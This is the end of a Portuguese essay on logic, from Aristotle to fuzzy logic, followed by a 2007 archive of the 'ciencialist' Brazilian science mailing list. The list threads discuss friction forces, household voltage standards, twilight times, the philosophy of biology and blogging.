Esta é uma conclusão coerente, ao fundamentar é possivel perceber que
não existe registro de
seres vivos que não morrem.
Para não ocorrer erro de raciocínio é importante que ao concluir um
determinado pensamento a
pessoa descreva sua afirmação dentro de um contexto detalhado
demonstrando como o
raciocínio foi desenvolvido.
Veja como deveria ser o raciocínio.
Correr diariamente 30 minutos faz bem a saúde de todas as pessoas que,
após consulta médica e
exames de capacidade física forem diagnosticadas aptas para o exercício.
Pode parecer bobagem, mas diariamente recebemos informações sem
nenhuma fundamentação e
conseqüentemente nos iludimos. O maior problema é que estas ilusões
irão formar nossa base de
conhecimento para aplicação do raciocínio.
Não existe aplicação da lógica se a informação não for fundamentada
e/ou validada. Observe que
lógica é uma metodologia com regras rígidas que exigem a fundamentação
e validação do
raciocínio.
Certa vez um professor de filosofia levou para a sala de aula uma foto
de uma pessoa caindo do
décimo segundo andar de um prédio. Ao mostrar a foto para os alunos o
professor pediu que
estes concluíssem o que teria ocorrido com a pessoa que aparecia em
queda livre.
Rapidamente sem nenhum questionamento prévio, todos concluíram,
provavelmente morreu!
Afinal é muito difícil alguém cair do décimo segundo andar e sair vivo.
A foto era de um duble que foi fotografado no momento do ensaio de uma
queda, ninguém
morreu.
02
Observe que mesmo usando o raciocínio fundamentado para se chegar em
um resultado dentro
da realidade é importante que as informações observadas sejam
questionadas quanto a sua
veracidade.
Alguns autores comparam a lógica como uma estrada, um caminho por onde
a informação é
organizada. É importante lembrar que uma conclusão correta não
significa necessariamente uma
informação verdadeira. A lógica é uma ferramenta que garante o
raciocínio correto e não a
informação correta.
Basicamente Aristóteles trabalhou com validação lógica através do
conceito de verdadeiro ou
falso, usando um raciocínio binário onde só existem afirmações
verdadeiras e falsas, sem meio
termo.
Seguindo a mesma linha de raciocínio de Aristóteles o matemático
George Boole (1815-1864)
criou o calculo de Boole ou lógica Boolena. Esta metodologia é usada
na criação do computador
e dos circuitos eletrônicos digitais, trabalhando com o conceito
binário de verdadeiro e falso.
Outros pensadores forma surgindo no decorrer de nossa evolução e
complementado o que hoje
conhecemos por lógica.
Além da lógica de Aristóteles, existem outras metodologias de
raciocínio como a lógica nãoclassica,
lógica paraconssistente e ainda a lógica de Fuzzy, lógica matemática e
outras.
Não pretendo comentar cada um dos conceitos lógicos, mas gostaria de
salientar um pouco e
resumidamente a Fuzzy Logic ou em português lógica difusa.
Diferente do raciocínio Aristotélico a Lógica Difusa trabalha com o
conceito de dualidade onde
opostos devem coexistir. Basicamente este tipo de raciocínio é mais
eficiente em trabalhos com
informações vagas ou imperfeitas.
A Lógica Fuzzy trabalha com o raciocínio de aproximação de
possibilidades, é mais eficiente em
alguns casos que a teoria da probabilidade. É possivel na Lógica Fuzzy
trabalhar o raciocínio de
uma forma ainda mais flexível que a própris probabilidade.
A lógica Fuzzy é largamente usada na Inteligência Artificial.
Observe o leitor que a lógica Aristotélica e a Lógica de Fuzzy são
basicamente opostas em seus
conceitos, uma trabalha de forma rígida com apenas situações
verdadeiras ou falsas enquanto a
outra usa de variações da percepção e atua por resultado aproximado.
Cada metodologia lógica é eficiente em uma determinada situação.
Quando alguém afirma alguma coisa, não esqueça de avaliar a
fundamentação das afirmações
bem como o tipo de lógica empregada e procure manter a mente aberta.
Aplicação correta da
metodologia lógica não é necessariamente informação verdadeira.
Para processar uma informação é importante que os fatos avaliados no
raciocínio aplicado sejam
verdadeiros, em outras palavras, sempre avalie o contexto das
afirmações e questione quanto sua
veracidade.
Quando uma afirmação é precisa procure observar a fundamentação
através da Lógica
Aristotélica, mas se a informação for vaga e não existe maneira de
verificar a consistência, usar
Lógica por aproximação de resultados é o procedimento mais indicado.
Aplicando a lógica certa para um problema e sendo a informação
verdadeira o resultado será o
mais próximo possivel da realidade.
03
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SUBJECT: Re: [ciencialist] Amanhecer e Anoitecer
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 08:34

Olá Xará,

enviei a solicitação ao meu superassessor astronômico (responsável pela Sala 24 do Imperdível); eis a resposta:

"Eu uso o SkyMap, que fornece o instante do nascer/pôr do Sol e os crepúsculos civil, náutico e astronômico onde o Sol está abaixo do horizonte entre 0º a 6º, 6º a 12º e 12º a 18º respectivamente.
Os outros programas não fornecem o instante dos crepúsculos."

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 5 de julho de 2007 21:29
Assunto: [ciencialist] Amanhecer e Anoitecer


Prezado colegas, alguem conhece algum software ou pagina na internet que seja confiavel para determinar: o horario do amanhecer e do anoitecer em determinada cidade em determinada data.

atenciosamente

Luiz Rodrigo Grochocki




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SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 08:43

Boa tarde JC e a todos,

veja bem, fiz uma crítica a afirmativa que a força de atrito não
existe, pois este foi o título da mensagem que critiquei ("Força de
atrito e força normal não existem! ") por crer que nenhum aluno
mereça aprender esta afirmativa de forma descontextualizada.

Considerando o átomo ou a descrição microscópica, há várias forças
que a rigor não existem. A rigor não existe força elástica, a rigor
não existe força associada a frenagem e forças associadas a tantas
outras situações.

Mas, obviamente, o existir ou não existir é relativo ao contexto e
sempre há aquela velha discussão que o todo pode ser maior que a soma
das partes, pois em muitos casos as partes se articulam segundo
determinado critério ou em movimento coordenado que a discussão
exclusiva das partes pode ser inadequada para descrever.

Várias das forças "inexistentes" assim como diversas outras
categorias surgem de construções genuinamente humanas são úteis em
cálculos e na descrição de fenômenos de interesse prático.

Saudações. UCFilho


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Oi UCFilho,
>
> Veja bem, acho que eu não disse que a força de atrito "não existe"
no
> caso do plano inclinado, pois força de atrito é um nome que damos a
> uma das componentes da força de contato (que é uma resultante). Acho
> que está havendo aqui uma confusão.
>
> O que existe "fisicamente" no caso do bloco movendo-se sobre o plano
> inclinado é uma enormidade de interações entre as moléculas da base
do
> bloco e as moléculas da superfície de contato do plano. A origem
> dessas forças é eletromagnética (força elétrica de repulsão entre as
> eletrosferas das moléculas).
>
> O "conceito" de força de atrito remete a uma força que dificulte o
> movimento, dispersando sua energia, e que dependa do meio onde o
corpo
> se desloca. O nome "força de atrito" não se refere a uma categoria
de
> forças que exista de fato na natureza, pois força de atrito não é
uma
> das forças fundamentais, mas sim um nome que caracteriza aquela
força
> (resultante ou componente dela) como uma força que tende a
dispersar a
> energia do movimento.
>
> A rigor não existe mesmo nenhuma "força" de atrito, mas isso não
> significa que não podemos chamr determinadas forças de "força de
> atrito" em determinadas situações.
>
> No estudo dos fluídos as interações que dão origem à viscosidade e
ao
> atrito fluidodinâmico também são de origem eletromagnética. Veja que
> na natureza há pouquíssimas forças consideradas fundamentais:
> gravitacional, eletromagnética, fraca e forte.
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> escreveu
> >
> > Bom dia JC e a todos,
> >
> > Se em diversas situações simples como as de um único bloco se
> > deslocando em um plano não é necessário considerar a existência
da
> > força dita força de atrito para descrever o processo isto não
> > significa que é possível ou mesmo importante generalizar
> > a inexistência desta força.
> >
> > O estudo com um número gigantesco de iterações é algo cada vez
mais
> > comum. Por exemplo: quando se estuda fenômenos complexos como a
> > movimentação de fluidos ao redor de objetos com geometria
complexa
> > o espaço é subdivido em diversos elementos e as equações
elementares
> > são aplicadas a cada elemento e o conjunto de equações é
resolvido,
> > por um computador, de forma simultânea.
> >
> > O que quero dizer é que talvez não seja sensato a partir de um
único
> > exemplo de plano inclinado sair por aí falando que não existe
força
> > de atrito, pois a ciência só supre os conceitos que não têm
> > utilidade em nenhuma das áreas de conhecimento que ela atua.
> >
> >
> > Saudações. UCFilho
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > <profjc2003@> escreveu
> > >
> > > UCFilho, a questão central no conceito de "força de contato" é
> > > justamente a da falta de necessidade de se considerar as forças
> > > individualmente, de forma semelhante ao que fazemos quando
usamos o
> > > conceito de "pressão".
> > >
> > > Não só é desnecessário considerar o número gigantesco de
interações
> > > moleculares durante um movimento de um corpo sobre uma
superfície
> > como
> > > também é matematicamente "inviável" tratar o problema sob esse
> > prisma.
> > >
> > > No caso do plano inclinado, por exemplo, a coisa mais simples a
> > fazer
> > > na maioria dos casos é considerar a força resultante das
interações
> > > corpo-superfície (força de contato) e trabalhar com suas
> > componentes
> > > na direção do plano e na direção normal ao plano.
> > >
> > > Cada caso é um caso e o conceito de força resultante é muitas
vezes
> > > confundido com a existência de uma força "real". Caso típico é
o da
> > > confusão entre "resultante centrípeta" com uma suposta força,
> > a "força
> > > centrípeta", que leva muitos estudantes a errarem probleminhas
> > simples
> > > porque não compreendem que a tal "força centrípeta" é só um nome
> > > indevido para o termo "resultante centrípeta". Bom, mas isso já
é
> > > outra história e, por favor, não me falem de
> > força "centrífuga". :)))
> > >
> > > Abraços,
> > > JC
> >
>




SUBJECT: Re: [ciencialist] 220 V ou não 220 V?
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 09:07

Dã... foi uma falha cognitiva absurda e indesculpável... obviamente, o que
eu quis dizer é que 220/raiz(3)=127....

... espero que não tenha nenhum aluno meu na lista...:-)

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 6:29 PM
Subject: Re: [ciencialist] 220 V ou não 220 V?


"127 V é a tensão na saída do transformador, pois raiz (220) = 127 "

Nunca consigo acompanhar a matemática moderna: raiz(220) = 127 ! :-)))

Brincadeira, sei o que queria dizer.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 5 de julho de 2007 10:42
Assunto: Re: [ciencialist] 220 V ou não 220 V?


127 V é a tensão na saída do transformador, pois raiz (220) = 127 e esses
transformadores são ligados em estrela. Por causa das perdas do
transformador até a tomada, considera-se que a tensão média nas tomadas é de
110 V.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 10:16 AM
Subject: Res: [ciencialist] 220 V ou não 220 V?


[E]> aqui em Rib. Preto é 127 V... (!?)



----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 5 de Julho de 2007 10:09:26
Assunto: Re: [ciencialist] 220 V ou não 220 V?













Razões históricas. Algumas regiões do país sofreram a influência
européia

dos 220 V, enquanto outras sofreram a influência americana dos 110 V.

Qualquer distribuidora, especialmente as de grande porte, acha que seu

padrão é melhor do que o das outras, mas o fato é que, depois de

estabelecida uma rede de distribuição extensa, é muito difícil e caro mudar.

Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110 V e

tensões trifásicas de 220 V, por ser "menos letal".



[ ]s



Alvaro Augusto



----- Original Message -----

From: "ssilva" <ssilva@smad. curitiba. pr.gov.br>

To: <ciencialist@ yahoogrupos. com.br>

Sent: Thursday, July 05, 2007 8:53 AM

Subject: [ciencialist] 220 V ou não 220 V?



Tipoalgo escreveu:

> Aqui em Brasília a tensão é 220V



Desculpem a ignorância mas por que em alguns estados as distribuidoras de

energia concedem 110 V e outras 220V para as residências? Isto é, por que

não há um único padrão de distribuição de energia elétrica?



Sandro Silva_,___




SUBJECT: Re: [ciencialist] Re: Força de atrito e força normal não existem! UCFilho
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 09:26

Olá UC, JC e outras combinações de letras ...

Tenho um propósito, ao colocar no Imperdível, afirmações 'secas' (e que dão margem à discussões), tais como: "Eletricidade não existe!", "Força de atrito e normal não existem!", "Resistência elétrica não é oposição à passagem da corrente", "Força eletromotriz não é trabalho de forças elétricas" etc. Um, é o aspecto de "notório", "chamar a atenção", "inusitado" etc., outro, e mais importante, é que tem aluno que já perdeu um ano de faculdade por ter errado uma simples resposta devido à falha de conceito.

Lembro, por exemplo, de uma da fac. de medicina, que propunha um quadro pendurado na parede, por um barbante, com a borda inferior apoiada na parede e pediu a direção da força de apoio da parede na base do quadro, algo assim:

||
||
||\(C)
||..\....//
||...\..//
||....\//(B)
||...//
||..//
||.//
||//(A)
||

e as (famigeradas) alternativas incluíam vetores: vertical para cima, vertical para baixo, horizontal para a direita, horizontal para a esquerda e inclinado para a direita.

Outra, era de uma escada encostada numa parede vertical e pedia a direção da força que o chão horizontal áspero aplicava ao pé da escada.
Assim, quem pensar em força de atrito e força normal, entrará bem nessas respostas ... e um monte de outras! Basta pensar num simples caixote apoiado num declive, sem se mexer, e perguntar a direção da força de apoio do declive contra o caixote. A resposta deveria ser imediata: igual e oposta à força peso!
Dai, dou certo destaque a essas situações ... de um modo bem 'chamativo'!
Obviamente, no campo do macroscópico, não poderão existir mesmo essas tais duas forças! Pense no caixote e chegará à conclusão que, para existirem, tanto o declive com a base do caixote deveriam ter saliências e reentrâncias em forma de 'ondas quadradas inclinadas' ... e por que não em forma de 'dentes de serra inclinados'?
Todavia, o 'efeito macroscópico' na direção do declive, pode (e deve, na maioria das aplicações) ser interpretado como uma 'força de atrito' de intensidade proporcional a outra força interpretada como 'força normal' (Fat = µ.N).

E fica até que bem bonitinho fazer: µ.N = mg.sen(teta) e N = mg.cos(teta), no equilíbrio. O "µ" é um 'mistério' experimental entre o material do caixote e o material do declive.

bem ... é isso ai!

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "UCFilho" <ucfilho27182@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 08:43
Assunto: [ciencialist] Re: Força de atrito e força normal não existem! UCFilho


Boa tarde JC e a todos,

veja bem, fiz uma crítica a afirmativa que a força de atrito não
existe, pois este foi o título da mensagem que critiquei ("Força de
atrito e força normal não existem! ") por crer que nenhum aluno
mereça aprender esta afirmativa de forma descontextualizada.

Considerando o átomo ou a descrição microscópica, há várias forças
que a rigor não existem. A rigor não existe força elástica, a rigor
não existe força associada a frenagem e forças associadas a tantas
outras situações.

Mas, obviamente, o existir ou não existir é relativo ao contexto e
sempre há aquela velha discussão que o todo pode ser maior que a soma
das partes, pois em muitos casos as partes se articulam segundo
determinado critério ou em movimento coordenado que a discussão
exclusiva das partes pode ser inadequada para descrever.

Várias das forças "inexistentes" assim como diversas outras
categorias surgem de construções genuinamente humanas são úteis em
cálculos e na descrição de fenômenos de interesse prático.

Saudações. UCFilho




SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 09:51

Se na física os corpos agissem como 'corpos de animais' teríamos sérios problema!
As questões ficariam assim: "Coloque um corpo sobre um plano inclinado e calcule "rapidamente" a força de atrito na iminência de escorregamento antes que, misteriosamente, o corpo pule para fora do plano". Nota: o corpo é um sapo!
Prenda um corpo num longo fio para fazer um pêndulo simples. Tire-o da posição de equilíbrio e solte. Observe que ... céus, o corpo está voando! É uma libélula? é o super-homem? É uma pizza?
Vamos colocar esse corpo dentro dessa caixa e 'pesar' o conjunto. Veja que ... céus o ponteiro ficou louco! Tirem esse gato de chorodingue de dentro da caixa!

Esse corpo é sólido, líquido ou gasoso?
Professor, isso é uma tartaruga!

O atrito (mais especificamente, o contato íntimo) entre dois corpos distintos faz com que eles fiquem eletrizados com cargas de sinais opostos.
Professor, um dos corpos também não poderá ficar grávido?

>"A física newtoniana tem bases sólidas, mas não é capaz de dar soluções
algébricas úteis (operacionais) para o problema de três corpos."

Quem são os três corpos: Gnu, leão e hiena? :-))

etc.

Conclusão: Biologia não tem abstração! Em biologia, nada é simples! Biologia (ainda, e por bom tempo) não é ciência hard. Chegarão lá!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 5 de julho de 2007 22:03
Assunto: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


Caro Takata,

Concordo que quando entramos no terreno da complexidade e do caos as
previsões da física não são muito boas. Mas isso talvez só signifique que
nesse terreno os sistemas físicos começam a se parecer mais com sistemas
biológicos (estou forçando um pouquinho, eu sei). Por outro lado, não existe
sistema biológico tão simples quanto um sistema físico simples. O modelo de
predador-presa mais simples pode exibir comportamento caótico, mas isso não
acontecerá com um pêndulo simples ou com um resistor ôhmico alimentado com
corrente alternada senoidal. É essa característica da física, de encontrar
modelos simples para os sistemas, que a torna diferente da biologia. É claro
que você poderá dizer que esses modelos simples na verdade não existem, mas
isso é outra história!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 03, 2007 12:57 AM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> É verdade que a física também padece de problemas semelhantes,
> especialmente quando chegamos muito perto do Big Bang ou do domínio
> de Planck, onde não existem teorias ou métodos experimentais
> adequados. Nesse aspecto, e provavelmente só nesse aspecto, talvez
> física e biologia não sejam tão diferentes.

Tb não é possível se testar plenamente os modelos meteorológicos,
climatológicos, oceanográficos, ou mesmo todos os circuitos de um
microprocessador... Oquei, há aproximações razoáveis, bem como para o
caso de modelos ecológicos de flutuação populacional entre presa e
predador, processos cibernéticos de autorregulação de parâmetros
fisiológicos.

A mecânica quântica é inegavelmente um sucesso - mas apanha de qq
átomo mais complexo do q o hidrogênio (um reles par de próton e elétron).

A física newtoniana tem bases sólidas, mas não é capaz de dar soluções
algébricas úteis (operacionais) para o problema de três corpos.

A einsteniana é uma belíssima reconstrução da clássica, mas não
explica TOTALMENTE a precessão do periélio de Mercúrio. A longo prazo
as previsões erram completamente.

A teoria da evolução não é capaz de predizer como será a biota
terrestre de daqui a um milhão de anos? O problema é q as astronomia
não é capaz de predizer se um bólido espacial irá se chocar com a
Terra nesse período (e de q tamanho ele será), tb a geologia não diz
se haverá uma grande atividade tectônica a disparar vulcanismos pelo
globo nesse intervalo de tempo, ou se o ciclo de Milankovitch irá
disparar uma nova era do gelo (qual a duração, q temperatura média?),
a astrofísica não nos diz qual será exatamente o padrão de atividade
solar, a intensidade da chuva de raios cósmicos, a quântica não diz
qual será o exato padrão das ligações ressonantes da timina no momento
em q ela se unir à cadeia em elongamento... Sem condições de contorno
não há previsão q se faça (só Hawking e Hartle a respeito da origem do
universo).

[]s,

Roberto Takata



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SUBJECT: RES: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 10:12

Olá a todos!

Encontrei a origem do texto que enviei anteriormente.

Fiquei com peso na consciência por não ter citado o autor!

Quem ainda quiser mais esclarecimentos pode seguir o seguinte link:
(http://forum.clubedohardware.com.br/boa-fonte-substitui/430112?p=2206226#post2206226)

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Fw: Educacao fisica na Feira
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 10:50

Mestre:

a mais simples é o controle por esfignomanômetro da pressão de um atleta durante suas atividades que podem envolver aparelhos ou apenas o uso do corpo.

sds.,
silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Friday, July 06, 2007 5:21 AM
Subject: [ciencialist] Fw: Educacao fisica na Feira


Oi Roberto et all,

quem sugere experimentos que o professor de educação física possa fazer, numa Feira, para destacar a Física envolvida na sua área?

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: wagner
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 5 de julho de 2007 12:42

Olá... Proj.. Boa tarde..!!

Sou Prof de Ed. Fisica.. Colégio Objetivo - Vale do Paraiba - SP
Neste semestre estaremos fazendo uma feira de ciencias... Normalmente os temas.. sao.. eletronica... eletricidade... e outros... gostaria que com sua experiencia e vicencia nestes eventos pudesse sugerir... aogum tipo de trabalho que possa ser apresentado na area de Ed. Fisica...
Talvez algo que possa mostra que mesmo sem perceber quando fazemos atividade fisica.. estamos praticando... uma atividade eletroquimica ou sonora...por exemplo..!!
Estou abertoa sugestoes..

Atenciosamente
Wagner

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SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 11:34

Caro Manuel,

O meu site e o do Rodrigo Constantino são "parecidos" porque usamos os
recursos gratuitos do "Blogger" (http://www.blogger.com). Após algum tempo,
tive que me render e comecei a divulgar minhas idéias por meio de um blog,
em vez de um site editado manualmente, atualizado via FTP, etc. Não é
preciso muito conhecimento de HTML e que tais e a atualização é bem mais
fácil (na versão mais básica, não é necessário conhecimento algum de HTML).
Além disso, o fato dos blogs trabalharem automaticamente com feeds os torna
mais adequados à divulgação. Se você quer divulgar seus livros e textos,
recomendo.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 03, 2007 1:55 AM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


Salve, Augusto!

Gostei muito do seu artigo. Realmente, esse negócio de reduzir toda a
epistemologia à metodologia da Física é típico dos adeptos do
reducionismo "vulgar" (acrescentei o adjetivo "vulgar" porque existe
um outro tipo de reducionista não tão limitado, filosoficamente
falando, como é o caso do Steven Weinberg).

O próprio Popper, de fato, reduziu o cientista a um "tipo ideal"
(expressão de Weber): um sujeito cognoscente "abstrato" - um "puro
espírito" altruísta, desprovido de carne, ossos e paixões - que, para
o bem da nobre objetividade científica, torce para que a hipótese que
ele passou anos elucubrando seja falseada por seus pares. Essa
idealização foi denominada por Philip Kitcher de "o mito da lenda".
Nenhum adepto de Popper, hoje, leva isso a sério. O que se deve
exigir do cientista - para que mereça esse título - é a valentia de
expor sua conjectura à crítica e de "defendê-la" com as unhas e os
dentes dos fatos e das demonstrações lógicas.

Só não gostei de uma coisa: do novo desenho do seu website. Tá muito
parecido com o do Rodrigo Constantino. Prefiro aquele outro em que,
quando a gente clicava a seta do mouse na sua fotografia, você
gritava "oh!" :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 11:36

Caro Manuel,

O meu site e o do Rodrigo Constantino são "parecidos" porque usamos os
recursos gratuitos do "Blogger" (http://www.blogger.com). Após algum tempo,
tive que me render e comecei a divulgar minhas idéias por meio de um blog,
em vez de um site editado manualmente, atualizado via FTP, etc. Não é
preciso muito conhecimento de HTML e a atualização é bem mais
fácil (na versão mais básica, não é necessário conhecimento algum de HTML).
Além disso, o fato dos blogs trabalharem automaticamente com feeds os torna
mais adequados à divulgação. Se você quer divulgar seus livros e textos,
recomendo.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 03, 2007 1:55 AM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


Salve, Augusto!

Gostei muito do seu artigo. Realmente, esse negócio de reduzir toda a
epistemologia à metodologia da Física é típico dos adeptos do
reducionismo "vulgar" (acrescentei o adjetivo "vulgar" porque existe
um outro tipo de reducionista não tão limitado, filosoficamente
falando, como é o caso do Steven Weinberg).

O próprio Popper, de fato, reduziu o cientista a um "tipo ideal"
(expressão de Weber): um sujeito cognoscente "abstrato" - um "puro
espírito" altruísta, desprovido de carne, ossos e paixões - que, para
o bem da nobre objetividade científica, torce para que a hipótese que
ele passou anos elucubrando seja falseada por seus pares. Essa
idealização foi denominada por Philip Kitcher de "o mito da lenda".
Nenhum adepto de Popper, hoje, leva isso a sério. O que se deve
exigir do cientista - para que mereça esse título - é a valentia de
expor sua conjectura à crítica e de "defendê-la" com as unhas e os
dentes dos fatos e das demonstrações lógicas.

Só não gostei de uma coisa: do novo desenho do seu website. Tá muito
parecido com o do Rodrigo Constantino. Prefiro aquele outro em que,
quando a gente clicava a seta do mouse na sua fotografia, você
gritava "oh!" :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 12:01

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> predador-presa mais simples pode exibir comportamento caótico, mas
> isso não acontecerá com um pêndulo simples ou com um resistor ôhmico
> alimentado com corrente alternada senoidal.

Considere o modelo de pêndulo simples algo análogo ao simples modelo
de crescimento vegetativo de uma população sem fatores limitantes -
puro crescimento exponencial.

O modelo de presa e predador pode ser análogo (bem de longe, claro) ao
modelo de dois pêndulos suspensos a partir de um mesmo cabo transversal.

[]s,

Roberto Takata



SUBJECT: Re: off-topic - Website (serviço)
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 12:42

Manuel,

Se é somente para divulgar textos e msgs, sugiro criar um blog.
Eu uso o serviço de criação de blogs do Wordpress (www.wordpress.com),
gratuito e que não precisa ter nenhum conhecimento técnico de web.

[]s,

Pierre
www.technewsbr.wordpress.com


--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> Oi,
>
> Estou querendo montar uma Website, para divulgar meus livrinhos,
meus
> textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
>
> Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
>
> Abraço,
> Manuel Bulcão
>




SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 12:53

Postei um texto no meu blog sobre o assunto das "sete novas maravilhas":
http://alvaroaugusto.blogspot.com/2007/07/cristo-redentor-maravilha-do-mundo.html

A votação se encerra amanhã. Espero não ter que publicar uma retratação...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos


Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
